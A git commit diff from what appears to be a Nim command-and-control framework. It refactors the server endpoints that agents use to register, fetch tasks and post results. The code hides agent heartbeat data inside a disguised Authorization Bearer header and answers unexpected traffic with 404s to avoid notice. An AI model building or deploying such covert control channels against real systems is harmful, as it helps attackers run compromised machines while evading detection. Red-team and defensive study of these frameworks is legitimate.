Refactored utility functions to make them more readable and removed separate register endpoint.
This commit is contained in:
@@ -3,38 +3,16 @@ import sequtils, strutils, times, base64
|
||||
|
||||
import ./handlers
|
||||
import ../[utils, globals]
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, serialize]
|
||||
|
||||
proc error404*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
|
||||
#[
|
||||
POST /register
|
||||
Called from agent to register itself to the conquest server
|
||||
]#
|
||||
proc register*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# If POST data is not binary data, return 404 error code
|
||||
if ctx.request.contentType != "application/octet-stream":
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
try:
|
||||
if not register(ctx.request.body.toBytes()):
|
||||
resp "", Http400
|
||||
return
|
||||
|
||||
resp "", Http200
|
||||
|
||||
except CatchableError:
|
||||
resp "", Http404
|
||||
|
||||
#[
|
||||
GET /tasks
|
||||
Called from agent to check for new tasks
|
||||
]#
|
||||
proc getTasks*(ctx: Context) {.async.} =
|
||||
proc httpGet*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
|
||||
@@ -42,7 +20,7 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes()
|
||||
let checkinData: seq[byte] = string.toBytes(decode(ctx.request.getHeader("Authorization")[0].split(".")[1]))
|
||||
|
||||
try:
|
||||
var response: seq[byte]
|
||||
@@ -57,12 +35,12 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
response.add(cast[uint8](tasks.len))
|
||||
|
||||
for task in tasks:
|
||||
response.add(uint32(task.len).toBytes())
|
||||
response.add(uint32.toBytes(uint32(task.len)))
|
||||
response.add(task)
|
||||
|
||||
await ctx.respond(
|
||||
code = Http200,
|
||||
body = response.toString()
|
||||
body = Bytes.toString(response)
|
||||
)
|
||||
|
||||
# Notify operator that agent collected tasks
|
||||
@@ -77,7 +55,7 @@ proc getTasks*(ctx: Context) {.async.} =
|
||||
POST /results
|
||||
Called from agent to post results of a task
|
||||
]#
|
||||
proc postResults*(ctx: Context) {.async.} =
|
||||
proc httpPost*(ctx: Context) {.async.} =
|
||||
|
||||
# Check headers
|
||||
# If POST data is not binary data, return 404 error code
|
||||
@@ -85,8 +63,19 @@ proc postResults*(ctx: Context) {.async.} =
|
||||
resp "", Http404
|
||||
return
|
||||
|
||||
try:
|
||||
handleResult(ctx.request.body.toBytes())
|
||||
try:
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(ctx.request.body)
|
||||
let header = unpacker.deserializeHeader()
|
||||
|
||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||
if not register(string.toBytes(ctx.request.body)):
|
||||
resp "", Http400
|
||||
return
|
||||
resp "", Http200
|
||||
|
||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||
handleResult(string.toBytes(ctx.request.body))
|
||||
|
||||
except CatchableError:
|
||||
resp "", Http404
|
||||
|
||||
Reference in New Issue
Block a user